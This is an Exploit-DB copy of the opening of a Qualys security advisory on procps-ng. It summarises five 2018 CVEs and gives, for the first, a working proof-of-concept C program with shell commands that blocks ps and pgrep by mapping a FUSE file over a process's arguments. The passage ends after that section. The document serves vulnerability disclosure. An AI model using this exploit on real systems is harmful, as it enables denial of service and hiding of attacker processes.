Exploit-DB #44806
Description: Procps-ng - Multiple Vulnerabilities
Type: local
Platform: linux
Date: 2018-05-30
Author: Qualys Corporation

Exploit:
Qualys Security Advisory

Procps-ng Audit Report


========================================================================
Contents
========================================================================

Summary
1. FUSE-backed /proc/PID/cmdline
2. Unprivileged process hiding
3. Local Privilege Escalation in top (Low Impact)
4. Denial of Service in ps
5. Local Privilege Escalation in libprocps (High Impact)
   5.1. Vulnerability
   5.2. Exploitation
   5.3. Exploitation details
   5.4. Non-PIE exploitation
   5.5. PIE exploitation
Acknowledgments
Patches.tar.gz.b64


========================================================================
Summary
========================================================================

We performed a complete audit of procps-ng, the "command line and full
screen utilities for browsing procfs, a 'pseudo' file system dynamically
generated by the [Linux] kernel to provide information about the status
of entries in its process table" (https://gitlab.com/procps-ng/procps).
procps-ng contains the utilities free, kill, pgrep, pidof, pkill, pmap,
ps, pwdx, skill, slabtop, snice, sysctl, tload, top, uptime, vmstat, w,
watch, and the necessary libprocps library.

We discovered and submitted patches for more than a hundred bugs and
vulnerabilities in procps-ng; for reference, our patches are available
at:

https://www.qualys.com/2018/05/17/procps-ng-audit-report-patches.tar.gz

and base64-encoded at the end of this advisory. In the remainder of this
advisory, we present our most interesting findings:

1. FUSE-backed /proc/PID/cmdline (CVE-2018-1120)

  An attacker can block any read() access to /proc/PID/cmdline by
  mmap()ing a FUSE file (Filesystem in Userspace) onto this process's
  command-line arguments. The attacker can therefore block pgrep, pidof,
  pkill, ps, and w, either forever (a denial of service), or for some
  controlled time (a synchronization tool for exploiting other
  vulnerabilities).

2. Unprivileged process hiding (CVE-2018-1121)

  An unprivileged attacker can hide a process from procps-ng's
  utilities, by exploiting either a denial of service (a rather noisy
  method) or a race condition inherent in reading /proc/PID entries (a
  stealthier method).

3. Local Privilege Escalation in top (CVE-2018-1122)

  top reads its configuration file from the current working directory,
  without any security check, if the HOME environment variable is unset
  or empty. In this very unlikely scenario, an attacker can carry out an
  LPE (Local Privilege Escalation) if an administrator executes top in
  /tmp (for example), by exploiting one of several vulnerabilities in
  top's config_file() function.

4. Denial of Service in ps (CVE-2018-1123)

  An attacker can overflow the output buffer of ps, when executed by
  another user, administrator, or script: a denial of service only (not
  an LPE), because ps mmap()s its output buffer and mprotect()s its last
  page with PROT_NONE (an effective guard page).

5. Local Privilege Escalation in libprocps (CVE-2018-1124)

  An attacker can exploit an integer overflow in libprocps's
  file2strvec() function and carry out an LPE when another user,
  administrator, or script executes a vulnerable utility (pgrep, pidof,
  pkill, and w are vulnerable by default; other utilities are vulnerable
  if executed with non-default options). Moreover, an attacker's process
  running inside a container can trigger this vulnerability in a utility
  running outside the container: the attacker can exploit this userland
  vulnerability and break out of the container or chroot. We will
  publish our proof-of-concept exploits in the near future.

Additionally, CVE-2018-1125 has been assigned to
0008-pgrep-Prevent-a-potential-stack-based-buffer-overflo.patch, and
CVE-2018-1126 to 0035-proc-alloc.-Use-size_t-not-unsigned-int.patch.


========================================================================
1. FUSE-backed /proc/PID/cmdline (CVE-2018-1120)
========================================================================

In this experiment, we add a sleep(60) to hello_read() in
https://github.com/libfuse/libfuse/blob/master/example/hello.c and
compile it, mount it on /tmp/fuse, and mmap() /tmp/fuse/hello onto the
command-line arguments of a simple proof-of-concept:

$ gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
$ mkdir /tmp/fuse
$ ./hello /tmp/fuse

$ cat > fuse-backed-cmdline.c << "EOF"
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

#define PAGESZ ((size_t)4096)

int
main(const int argc, const char * const argv[])
{
    if (argc <= 0) die();
    const char * const arg_start = argv[0];
    const char * const last_arg = argv[argc-1];
    const char * const arg_end = last_arg + strlen(last_arg) + 1;

    if (arg_end <= arg_start) die();
    const size_t len = arg_end - arg_start;
    if (len < 2 * PAGESZ) die();

    char * const addr = (char *)(((size_t)arg_start + PAGESZ-1) & ~(PAGESZ-1));
    if (addr < arg_start) die();
    if (addr + PAGESZ > arg_end) die();

    const int fd = open("/tmp/fuse/hello", O_RDONLY);
    if (fd <= -1) die();
    if (mmap(addr, PAGESZ, PROT_READ, MAP_PRIVATE | MAP_FIXED, fd, 0) != addr) die();
    if (close(fd)) die();

    for (; {
        sleep(1);
    }
    die();
}
EOF
$ gcc -Wall fuse-backed-cmdline.c -o fuse-backed-cmdline
$ ./fuse-backed-cmdline `perl -e 'print "A" x 8192'`

Then, if root executes ps (for example):

# time ps ax
  PID TTY      STAT   TIME COMMAND
...
real    1m0.021s
user    0m0.003s
sys     0m0.017s


============================================================